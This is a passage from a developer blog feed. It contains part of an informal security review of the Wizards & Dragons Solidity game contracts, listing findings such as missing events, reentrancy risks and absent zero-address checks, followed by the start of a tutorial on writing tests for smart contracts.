  
  Slither Finding
&lt;/h3&gt;

&lt;p&gt;If you want to know more about this tool you should check it on GitHub: &lt;a href="https://github.com/crytic/slither"&gt;Slither&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Slither is a Solidity static analysis framework written in Python 3. It runs a suite of vulnerability detectors, prints visual information about contract details, and provides an API to easily write custom analyses. Slither enables developers to find vulnerabilities, enhance their code comprehension, and quickly prototype custom analyses.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I have started these findings from number 100 because I've done the Slither run after all the manual review (as you should).&lt;/p&gt;

&lt;h4&gt;
  
  
  WD-100: check &lt;code&gt;gpToken.transferFrom&lt;/code&gt; return value
&lt;/h4&gt;

&lt;p&gt;I see in the code that there are 2 parts in the code where you execute &lt;code&gt;gpToken.transferFrom&lt;/code&gt; without checking the result of the operation.&lt;/p&gt;

&lt;h4&gt;
  
  
  WD-101: check all divisons
&lt;/h4&gt;

&lt;p&gt;In solidity, numbers get automatically rounded when divided and the result is a floating-point number. Check all the code for cases where the division is done before the multiplication.&lt;/p&gt;

&lt;p&gt;Always do the multiplication first and division after.&lt;/p&gt;

&lt;p&gt;Example: &lt;code&gt;uint256 encodedLen = 4 * ((data.length + 2) / 3);&lt;/code&gt; in &lt;code&gt;Traits.sol&lt;/code&gt;&lt;br&gt;
&lt;a href="https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply"&gt;Check Documentation&lt;/a&gt; to know more.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-102: WNDGame stuck money?
&lt;/h4&gt;

&lt;p&gt;It seems that the &lt;code&gt;mint&lt;/code&gt; function in &lt;code&gt;WNDGame.sol&lt;/code&gt; receives ether to mint tokens but there's not a &lt;code&gt;withdraw&lt;/code&gt; method to withdraw them. The only &lt;code&gt;withdraw&lt;/code&gt; function I see is in the &lt;code&gt;WnD.sol&lt;/code&gt; contract that does not seem to have a way to receive/get redirected eth from WNDGame.sol&lt;/p&gt;
&lt;h3&gt;
  
  
  General
&lt;/h3&gt;
&lt;h4&gt;
  
  
  WD-001: Floating pragma
&lt;/h4&gt;

&lt;p&gt;In all the contracts the pragma version of the compiler is not locked &lt;code&gt;pragma solidity ^0.8.0;&lt;/code&gt;.&lt;br&gt;
See &lt;a href="https://swcregistry.io/docs/SWC-103"&gt;SWC-103&lt;/a&gt; for more information.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-002: Hardhat console imported in deployed contract
&lt;/h4&gt;

&lt;p&gt;In both &lt;code&gt;Tower.sol&lt;/code&gt; and &lt;code&gt;WNDGame.sol&lt;/code&gt; I see that the &lt;code&gt;import "hardhat/console.sol";&lt;/code&gt; is still in the code. It should be only on the dev version of the project and never shipped with the production version. It just increases the contract size and the gas cost of deployment.&lt;/p&gt;

&lt;p&gt;As far as I can see &lt;code&gt;console.log()&lt;/code&gt; is not used inside contract code.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-003: import not used in interfaces
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;IWnDGame.sol&lt;/code&gt; is importing importing OpenZeppelin &lt;code&gt;IERC721Enumerable.sol&lt;/code&gt; but not using to extend the &lt;code&gt;IWnDGame&lt;/code&gt; from it.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-004: missing explanation about &lt;code&gt;lastWrite&lt;/code&gt; mechanism
&lt;/h4&gt;

&lt;p&gt;I see in a lot of the contract's code the usage of &lt;code&gt;lastWrite&lt;/code&gt; to check &lt;code&gt;lastWrite[tx.origin] &amp;lt; block.number&lt;/code&gt;. The developer should add more documentation on the reason behind those checks.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-005: Emission of events missing for critical actions
&lt;/h4&gt;

&lt;p&gt;I see that many critical actions are missing event emission. For example &lt;code&gt;GP.sol&lt;/code&gt; is missing events for actions like &lt;code&gt;addAdmin&lt;/code&gt;, &lt;code&gt;removeAdmin&lt;/code&gt;, &lt;code&gt;updateOriginAccess&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;GP.sol&lt;/code&gt;: missing events for functions &lt;code&gt;addAdmin&lt;/code&gt;, &lt;code&gt;removeAdmin&lt;/code&gt;, &lt;code&gt;updateOriginAccess&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SacrificialAlter.sol&lt;/code&gt;: missing events for functions &lt;code&gt;addAdmin&lt;/code&gt;, &lt;code&gt;removeAdmin&lt;/code&gt;, &lt;code&gt;updateOriginAccess&lt;/code&gt;, &lt;code&gt;setContracts&lt;/code&gt;, &lt;code&gt;setType&lt;/code&gt;, &lt;code&gt;setExchangeAmt&lt;/code&gt;, &lt;code&gt;updateOriginAccess&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Tower.sol&lt;/code&gt;: missing events for functions &lt;code&gt;setRescueEnabled&lt;/code&gt;, &lt;code&gt;_payDragonTax&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Traits.sol&lt;/code&gt;: missing events for functions &lt;code&gt;setWnD&lt;/code&gt;, &lt;code&gt;uploadTraits&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;WnD.sol&lt;/code&gt;: missing events for functions &lt;code&gt;addAdmin&lt;/code&gt;, &lt;code&gt;removeAdmin&lt;/code&gt;, &lt;code&gt;updateOriginAccess&lt;/code&gt;, &lt;code&gt;withdraw&lt;/code&gt;, &lt;code&gt;setPaidTokens&lt;/code&gt;, &lt;code&gt;setContracts&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;WNDGame.sol&lt;/code&gt;: missing events for functions &lt;code&gt;setContracts&lt;/code&gt;, &lt;code&gt;setTreasureChestId&lt;/code&gt;, &lt;code&gt;addToWhitelist&lt;/code&gt;, &lt;code&gt;setPublicSaleStart&lt;/code&gt;, &lt;code&gt;setMaxGpCost&lt;/code&gt;, &lt;code&gt;payTribute&lt;/code&gt;, &lt;code&gt;makeTreasureChests&lt;/code&gt;, &lt;code&gt;sellTreasureChests&lt;/code&gt;, &lt;code&gt;sacrifice&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some events are for security and transparency reasons, some events are to allow web3/external applications to use contract data to display information.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-006: Event does not have indexed parameters
&lt;/h4&gt;

&lt;p&gt;In &lt;code&gt;Tower.sol&lt;/code&gt; all three events &lt;code&gt;TokenStaked&lt;/code&gt;, &lt;code&gt;WizardClaimed&lt;/code&gt;, &lt;code&gt;DragonClaimed&lt;/code&gt; does not have indexed parameters. Each event in solidity can have at max 3 indexed parameters.&lt;/p&gt;

&lt;p&gt;Indexed parameters allow web3 applications to filter events by those parameters. It's super important to build a successful smart contract to allow external resources to filter by those.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-007: create an external contract for the &lt;code&gt;lastWrite&lt;/code&gt; mechanism
&lt;/h4&gt;

&lt;p&gt;The &lt;code&gt;lastWrite&lt;/code&gt; mechanism is used in &lt;code&gt;GP.sol&lt;/code&gt;, &lt;code&gt;SacrificialAlter.sol&lt;/code&gt; and &lt;code&gt;WnD.sol&lt;/code&gt; but in all three are implemented from scratch using the same code.&lt;/p&gt;

&lt;p&gt;For both security, gas consumption, and code readability it would be better if a new utility contract is created and all the code is added to that contract. Other contracts that need that mechanism can simply inherit from it.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-009: replace admins mechanism with AccessControl
&lt;/h4&gt;

&lt;p&gt;The admin mechanism could be replaced with &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/access#AccessControl"&gt;OpenZeppelin AccessControl&lt;/a&gt;. In this case, you would automatically also get the implementation of important events when a role is granted or removed.&lt;/p&gt;

&lt;p&gt;Another benefit is that the OZ implementation automatically do all the input checks&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;GP.sol&lt;/code&gt; contract could inherit directly from the &lt;a href="https://docs.openzeppelin.com/contracts/4.x/erc20#api:presets.adoc#ERC20PresetMinterPauser"&gt;OpenZeppelin ERC20PresetMinterPauser&lt;/a&gt; contract.&lt;/p&gt;

&lt;p&gt;You should also think to add a &lt;code&gt;Pause&lt;/code&gt; mechanism in order to block the minting/burning in case of a critical situation.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-010: add admin mechanism should validate the address
&lt;/h4&gt;

&lt;p&gt;All the &lt;code&gt;addAdmin&lt;/code&gt; and &lt;code&gt;removeAdmin&lt;/code&gt; functions should check to not give to the &lt;code&gt;0 address&lt;/code&gt; the admin role&lt;/p&gt;
&lt;h3&gt;
  
  
  SacrificialAlter.sol
&lt;/h3&gt;
&lt;h4&gt;
  
  
  WD-011: &lt;code&gt;setContracts&lt;/code&gt; should revert if &lt;code&gt;_gp&lt;/code&gt; address is &lt;code&gt;0 address&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;Doing so you could remove the &lt;code&gt;requireContractsSet&lt;/code&gt; and use the &lt;code&gt;pause&lt;/code&gt; function when you need to block the&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-012: &lt;code&gt;maxSupply&lt;/code&gt; in &lt;code&gt;setType&lt;/code&gt; can be == 0?
&lt;/h4&gt;

&lt;p&gt;Without a full specification or documentation doc and without any comments in code is difficult to understand if the check is needed&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-013: &lt;code&gt;exchangeAmt&lt;/code&gt; in &lt;code&gt;setExchangeAmt&lt;/code&gt; can be == 0?
&lt;/h4&gt;

&lt;p&gt;Setting it to 0 means that people are able to mint without paying GP.&lt;br&gt;
Without a full specification or documentation doc and without any comments in code is difficult to understand if the check is needed.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-014: possible reentrancy issue
&lt;/h4&gt;

&lt;p&gt;Please always follow the &lt;a href="https://docs.soliditylang.org/en/v0.8.4/security-considerations.html#use-the-checks-effects-interactions-pattern"&gt;Checks-Effects-Interactions&lt;/a&gt; Pattern from Solidity docs to prevent reentrancy issues.&lt;/p&gt;

&lt;p&gt;Every time you do an external call always remember to update your state and emit events before it. For example in the &lt;code&gt;burn&lt;/code&gt; and &lt;code&gt;mint&lt;/code&gt; methods. It's true that both methods check if the &lt;code&gt;sender&lt;/code&gt; is the admin but even an &lt;code&gt;admin&lt;/code&gt; could exploit the contract.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-015: &lt;code&gt;updateOriginAccess&lt;/code&gt; is updating incorrectly &lt;code&gt;lastWrite[tx.origin].time&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;In the function you are doing &lt;code&gt;lastWrite[tx.origin].time = uint64(block.number);&lt;/code&gt; when instead you should use &lt;code&gt;block.timestamp&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Be aware that &lt;code&gt;block.timestamp&lt;/code&gt; is a uint256 (same for block.number) as noted by the &lt;a href="https://docs.soliditylang.org/en/latest/units-and-global-variables.html?highlight=block#block-and-transaction-properties"&gt;Solidity Documentation&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Traits.sol
&lt;/h3&gt;
&lt;h4&gt;
  
  
  WD-016: unbound array
&lt;/h4&gt;

&lt;p&gt;looping over &lt;code&gt;uploadTraits&lt;/code&gt; that is an unbound array could raise an auto-of-gas denial of service. it seems that &lt;code&gt;traitData&lt;/code&gt; at max can contain 2^8 items so check that &lt;code&gt;traits.length&lt;/code&gt; is less than 2^8.&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-017: &lt;code&gt;setWnD&lt;/code&gt; wndNFT could be set 0x address
&lt;/h4&gt;

&lt;p&gt;Check that the &lt;code&gt;_wndNFT&lt;/code&gt; parameter of &lt;code&gt;setWnD&lt;/code&gt; function is != 0x address&lt;/p&gt;
&lt;h4&gt;
  
  
  WD-018: BASE 64 code could be replaced by an external library
&lt;/h4&gt;

&lt;p&gt;You could replace the code of the base64 function by installing the original library and including it (like an external library as OpenZeppelin): &lt;a href="https://github.com/Brechtpd/base64"&gt;https://github.com/Brechtpd/base64&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  WnD.sol
&lt;/h3&gt;
&lt;h4&gt;
  
  
  WD-019: check that _maxTokens respect what's written in the comments
&lt;/h4&gt;

&lt;p&gt;In comments you say&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// max number of tokens that can be minted: 60000 in production
uint256  public maxTokens;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;but in the contract's constructor, you set &lt;code&gt;maxTokens&lt;/code&gt; directly from the parameter. If the correct number of max tokens to be minted is 60000 just remove it from the constructor and declare it as a &lt;code&gt;constant&lt;/code&gt;. If you want to still be parametrized think about setting it as &lt;code&gt;immutable&lt;/code&gt; to reduce gas cost.&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;maxTokens&lt;/code&gt; is set to &lt;code&gt;0&lt;/code&gt; no one would be able to mint tokens.&lt;/p&gt;

&lt;h4&gt;
  
  
  WD-020: add checks on &lt;code&gt;setContracts&lt;/code&gt; parameters
&lt;/h4&gt;

&lt;p&gt;Check that those contracts address are != &lt;code&gt;0 address&lt;/code&gt;. If so you could remove the &lt;code&gt;requireContractsSet&lt;/code&gt; and just use the &lt;code&gt;paused&lt;/code&gt; flag/modifier reducing the logic complexity and having always a correct state.&lt;/p&gt;

&lt;h4&gt;
  
  
  WD-021: &lt;code&gt;generate&lt;/code&gt; is an internal method that returns a &lt;code&gt;WizardDragon&lt;/code&gt; but its return value is never used
&lt;/h4&gt;

&lt;p&gt;In the &lt;code&gt;mint&lt;/code&gt; function &lt;code&gt;generate&lt;/code&gt; is called but the return value is never used. Think about using it instead of accessing to &lt;code&gt;tokenTraits[minted]&lt;/code&gt; or just remove the &lt;code&gt;returns&lt;/code&gt; statement.&lt;/p&gt;

&lt;h4&gt;
  
  
  WD-022: &lt;code&gt;updateOriginAccess&lt;/code&gt; assign the incorrect value to &lt;code&gt;lastWrite[tx.origin].time&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;As far as I get it should be &lt;code&gt;lastWrite[tx.origin].time = uint64(block.timestamp)&lt;/code&gt;&lt;br&gt;
Be aware that &lt;code&gt;block.timestamp&lt;/code&gt; is a uint256 (same for block.number) as noted by the &lt;a href="https://docs.soliditylang.org/en/latest/units-and-global-variables.html?highlight=block#block-and-transaction-properties"&gt;Solidity Documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It's important to set the correct value because &lt;code&gt;lastWrite[tx.origin].time&lt;/code&gt; is used as an input of the &lt;code&gt;random&lt;/code&gt; function in &lt;code&gt;generate&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  WD-023: &lt;code&gt;_paidTokens&lt;/code&gt; parameter of &lt;code&gt;setPaidTokens&lt;/code&gt; should have the same int type of &lt;code&gt;PAID_TOKENS&lt;/code&gt;
&lt;/h4&gt;

&lt;h4&gt;
  
  
  WD-024: check &lt;code&gt;setPaidTokens&lt;/code&gt; parameter value
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;PAID_TOKENS&lt;/code&gt; is used in &lt;code&gt;WNDGame.sol&lt;/code&gt;. It could happen that the owner of the contract set a number equal to 0 and all the minted tokens in &lt;code&gt;WNDGame&lt;/code&gt; would be minted for free.&lt;/p&gt;

&lt;h4&gt;
  
  
  WD-025: be aware of modifier orders in &lt;code&gt;setPaused&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;If the &lt;code&gt;requireContractsSet&lt;/code&gt; revert you will not be able to pause/unpause the contract. Orders of function modifiers matter!&lt;/p&gt;

&lt;h3&gt;
  
  
  WNDGame.sol
&lt;/h3&gt;

&lt;h4&gt;
  
  
  WD-026: define &lt;code&gt;presalePrice&lt;/code&gt; as a &lt;code&gt;constant&lt;/code&gt; if it never change
&lt;/h4&gt;

&lt;h4&gt;
  
  
  WD-027: add param checks in &lt;code&gt;setContracts&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;Like other contracts, you could add checks on those addresses to be sure to be different from &lt;code&gt;0x address&lt;/code&gt; and different one between the other (gptoken cannot be equal to traits address!). In that case, you can remove the &lt;code&gt;requireContractsSet&lt;/code&gt; and just use the &lt;code&gt;pause&lt;/code&gt; modifier if needed.&lt;/p&gt;

&lt;h4&gt;
  
  
  WD-028: &lt;code&gt;startedTime&lt;/code&gt; can be resetted multiple time.
&lt;/h4&gt;

&lt;p&gt;If the owner calls &lt;code&gt;setPublicSaleStart&lt;/code&gt; multiple time during the contract life he can reset the value of startTime that is used in &lt;code&gt;currentPriceToMint&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  WD-029: &lt;code&gt;addToWhitelist&lt;/code&gt; can reset an account whitelisting allowing it to mint more than 2 tokens in whitelist period
&lt;/h4&gt;

&lt;p&gt;Scenario:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;addToWhitelist&lt;/code&gt; is called whitelisting Alice address &lt;code&gt;addr1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Alice mint 2 items in whitelist period&lt;/li&gt;
&lt;li&gt;Admin call again &lt;code&gt;addToWhitelist&lt;/code&gt; with Alice's address as a parameter. Alice whitelisting metadata gets reset and can mint again.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Given that the contract is not tracking all these methods with events it's impossible to know that the admin has reset the whitelist of some addresses.&lt;/p&gt;

&lt;h4&gt;
  
  
  WD-030: add nonReentrancy on both &lt;code&gt;makeTreasureChests&lt;/code&gt; and &lt;code&gt;sellTreasureChests&lt;/code&gt;?
&lt;/h4&gt;

&lt;p&gt;Kinda tired right now but I think that you should add a reentrancy guard in there because they are internally calling the altar mint/burn that makes an external call. Double-check it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Update 1: an official GitHub repository
&lt;/h2&gt;

&lt;p&gt;The team behind the game has provided an updated version of the contracts on their &lt;a href="https://github.com/WnDDev/wndcontracts"&gt;GitHub repository&lt;/a&gt;. Still, no specification, documentation, or tests are added.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>web3</category>
      <category>ethereum</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>How to create tests for your Solidity Smart Contract</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Sat, 16 Oct 2021 16:54:05 +0000</pubDate>
      <link>https://forem.com/stermi/how-to-create-tests-for-your-solidity-smart-contract-2238</link>
      <guid>https://forem.com/stermi/how-to-create-tests-for-your-solidity-smart-contract-2238</guid>
      <description>&lt;p&gt;If you have followed all my previous blog posts and you had a peek at the code of all the contracts I have created you should already have seen that I always write tests for every smart contract I create.&lt;/p&gt;

&lt;p&gt;Have you missed those projects? Well, don’t worry, here’s a list to refresh your memory:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://dev.to/stermi/scaffold-eth-challenge-1-staking-dapp-4ofb"&gt;Scaffold-eth Challenge 1: Staking dApp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://dev.to/stermi/how-to-create-an-erc20-token-and-a-solidity-vendor-contract-to-sell-buy-your-own-token-4j1m"&gt;How to create an ERC20 Token and a Solidity Vendor Contract to sell/buy your own token&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://dev.to/stermi/unloot-the-loot-project-my-very-first-solidity-smart-contract-deployed-on-ethereum-1g2b"&gt;Unloot the Loot Project: my very first Solidity smart contract deployed on Ethereum&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://dev.to/stermi/how-to-deploy-your-first-smart-contract-on-ethereum-with-solidity-and-hardhat-5efc"&gt;How to deploy your first smart contract on Ethereum with Solidity and Hardhat&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://dev.to/stermi/proof-of-concept-of-an-achievement-system-for-rarity-4ia4"&gt;Proof of Concept of an Achievement System for Rarity&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/stermi/rarity-achievement-system-update-and-release-date-49ai"&gt;Rarity Achievement System: update and release date&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In each of those blog posts you have a GitHub repository where you can see the contract and test code, so don’t wait and give it a read before continuing!&lt;/p&gt;

&lt;h2&gt;
  
  
  Why should you bother to write tests?
&lt;/h2&gt;

&lt;p&gt;I know, you have  written your Solidity smart contract, you have already started the React dev server and you just want to interact with your smart contract deploying it to the main net yoloing everything.&lt;/p&gt;

&lt;p&gt;I know that feeling, I know that excitement you get. And you could ask me “Tests are BORING!, why should I bother to write them? Let’s deploy things and see what happen”&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Nope, tests are not boring and they are not difficult to write if you know what you need to test and what your contract should and shouldn’t do!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Your smart contract when deployed is  &lt;strong&gt;immutable&lt;/strong&gt;, remember that always. You need to be sure that things work as you expect when you deploy them. You can’t predict how others (users or contracts) will interact with it.&lt;/p&gt;

&lt;p&gt;But tests come to the rescue you, and while you will write them (and I can assure you that you will write them fast) you will notice all the bugs, errors, and not implemented things you have missed while writing your code.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;It’s like reviewing something from a different point of view.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;With tests you can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Automate how accounts (wallets) and external smart contracts interact with your contract. Do you really want to do everything manually?&lt;/li&gt;
&lt;li&gt;  Check that calling a function with specific input gives the expected output: correct returned value and correct and correct contract’s state&lt;/li&gt;
&lt;li&gt;  Check that all the  &lt;code&gt;require&lt;/code&gt;  statements work as expected&lt;/li&gt;
&lt;li&gt;  Check that  &lt;code&gt;events&lt;/code&gt;  are correctly emitted&lt;/li&gt;
&lt;li&gt;  Check that user, contract and token  &lt;strong&gt;balances correctly change&lt;/strong&gt;  after a transaction&lt;/li&gt;
&lt;li&gt;  Check that your last-minute change or a new function that interacts with other parts of the code does not break other tests.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🛠 Tools you should use when developing
&lt;/h2&gt;

&lt;p&gt;Many common errors can be easily covered using specific tools that you should always have:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://github.com/protofire/solhint/" rel="noopener noreferrer"&gt;Solhint&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://github.com/prettier-solidity/prettier-plugin-solidity" rel="noopener noreferrer"&gt;Prettier Plugin Solidity&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://github.com/fvictorio/solhint-plugin-prettier" rel="noopener noreferrer"&gt;Solhint plugin Prettier&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/plugins/nomiclabs-hardhat-solhint.html" rel="noopener noreferrer"&gt;Hardhat Solhint&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/plugins/solidity-coverage.html" rel="noopener noreferrer"&gt;solidity-coverage&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you want to know more about those tools and how to use them in your Solidity Hardhat project follow my previous post  &lt;a href="https://stermi.medium.com/how-to-deploy-your-first-smart-contract-on-ethereum-with-solidity-and-hardhat-22f21d31096e" rel="noopener noreferrer"&gt;“How to deploy your first smart contract on Ethereum with Solidity and Hardhat”&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Another great suggestion is to  &lt;strong&gt;not reinvent the wheel&lt;/strong&gt;. If your contract is about creating a  &lt;strong&gt;Token (ERC20)&lt;/strong&gt; or an  &lt;strong&gt;NFT (ER721)&lt;/strong&gt; just use an  &lt;a href="https://openzeppelin.com/contracts/" rel="noopener noreferrer"&gt;OpenZeppelin&lt;/a&gt;  contract. They provide secure and optimized implementations of those standards and you can be sure that they are more than battle-tested!&lt;/p&gt;

&lt;h2&gt;
  
  
  What should you cover in tests?
&lt;/h2&gt;

&lt;p&gt;Before starting writing test coverage I try to think about which tests I need to develop. This is my personal test checklist so it can differ between developers and developers but I think that it can be taken as a good start.&lt;/p&gt;

&lt;p&gt;When you write tests you need to cover two main aspects:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Known bugs / exploits / common errors&lt;/li&gt;
&lt;li&gt;  Check that for each of your functions that are externally or publicly accessible given a specific input you get the output you expect. When I say output it can be both a state change of your contract or values returned by your function. If some of these functions break people could burn all the transaction gas, lose money or get the NFT stuck forever.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cover Known bugs/exploits/common errors
&lt;/h3&gt;

&lt;p&gt;This part is both easy and hard at the same time. It’s easy because these errors that your smart contract code needs to cover are already known. The hard part is to know all of them and remember where in your code they could happen.&lt;/p&gt;

&lt;p&gt;I have collected some really good content about ethereum and smart contract security and best practice. I strongly suggest you to&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://twitter.com/thesecureum?lang=en" rel="noopener noreferrer"&gt;Secureum&lt;/a&gt;  on Twitter and its founder  &lt;a href="https://twitter.com/0xRajeev" rel="noopener noreferrer"&gt;0xRajeev&lt;/a&gt;  and their  &lt;a href="https://secureum.substack.com/archive" rel="noopener noreferrer"&gt;newsletter archive&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://solidity-by-example.org/" rel="noopener noreferrer"&gt;Solidity by Example&lt;/a&gt;  has a list of Hacks&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://blog.openzeppelin.com/smart-contract-security-guidelines/" rel="noopener noreferrer"&gt;OpenZeppelin Smart Contract Security Guidelines&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://github.com/guylando/KnowledgeLists/blob/master/EthereumSmartContracts.md" rel="noopener noreferrer"&gt;Ethereum smart contracts security recommendations and best practices by Guy Lando&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://consensys.github.io/smart-contract-best-practices/known_attacks/" rel="noopener noreferrer"&gt;Known Attacks&lt;/a&gt;  and  &lt;a href="https://consensys.github.io/smart-contract-best-practices/recommendations/" rel="noopener noreferrer"&gt;Secure Development Recommendations&lt;/a&gt;  by Consensys&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://consensys.github.io/smart-contract-best-practices/" rel="noopener noreferrer"&gt;Ethereum Smart Contract Security Best Practices&lt;/a&gt;  by Consensys&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cover the implementation of your own functions
&lt;/h3&gt;

&lt;p&gt;When you start writing tests you need to have in mind very clear which are the actors, which is the context, which is the state of the world before the transaction and after a transaction.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  You have implemented an NFT contract and at mint time you want to limit people to mint only 2 NFT per transaction with a total of 10 NFT per account.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this case:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Actors: User’s wallet and Contract’s wallet&lt;/li&gt;
&lt;li&gt;  Context: NFT sale&lt;/li&gt;
&lt;li&gt;  State before: user has  &lt;em&gt;X1&lt;/em&gt;  ETH and  &lt;em&gt;Y1&lt;/em&gt;  NFT, the contract has  &lt;em&gt;Z1&lt;/em&gt;  ETH and  &lt;em&gt;W1&lt;/em&gt;  NFT&lt;/li&gt;
&lt;li&gt;  State after (if everything goes well): user has  &lt;em&gt;X2&lt;/em&gt;  ETH and  &lt;em&gt;Y2&lt;/em&gt;  NFT, the contract has  &lt;em&gt;Z2&lt;/em&gt;  ETH and  &lt;em&gt;W2&lt;/em&gt;  NFT&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you write a test for the implementation of your own functions you need to start answering these questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Have I covered all the  &lt;strong&gt;edge cases&lt;/strong&gt;?&lt;/li&gt;
&lt;li&gt;  Is the function  &lt;strong&gt;reverting&lt;/strong&gt;  when expected?&lt;/li&gt;
&lt;li&gt;  Is the function  &lt;strong&gt;emitting&lt;/strong&gt;  the needed  &lt;strong&gt;events&lt;/strong&gt;?&lt;/li&gt;
&lt;li&gt;  With a specific  &lt;strong&gt;input&lt;/strong&gt;, will the function produce the expected  &lt;strong&gt;output&lt;/strong&gt;? Will the new  &lt;strong&gt;state&lt;/strong&gt;  of the Contract be shaped as we expect?&lt;/li&gt;
&lt;li&gt;  Will the function  &lt;strong&gt;returns&lt;/strong&gt;  (if it returns something) what we are expecting?&lt;/li&gt;
&lt;li&gt;  Has the user’s wallet and contract’s wallet  &lt;strong&gt;changed their value&lt;/strong&gt;  as expected after the transaction&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Some useful tips
&lt;/h3&gt;

&lt;p&gt;I’ll list some useful concepts and functions that I created while I was writing tests for different smart contracts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to simulate blockchain mining in your test&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you create unit testing you are using Hardhat local blockchain and not a “real” one where people mint blocks every X seconds. Locally you are the only one interacting with the blockchain and it means that you are the only one creating transactions and minting blocks. It could happen that you need to simulate “time passing” because you need to make some checks on the  &lt;code&gt;block.timestamp&lt;/code&gt;  . The timestamp of the block is updated only if a transaction happens.&lt;/p&gt;

&lt;p&gt;To solve this issue on our test I have implemented a little utility:&lt;/p&gt;

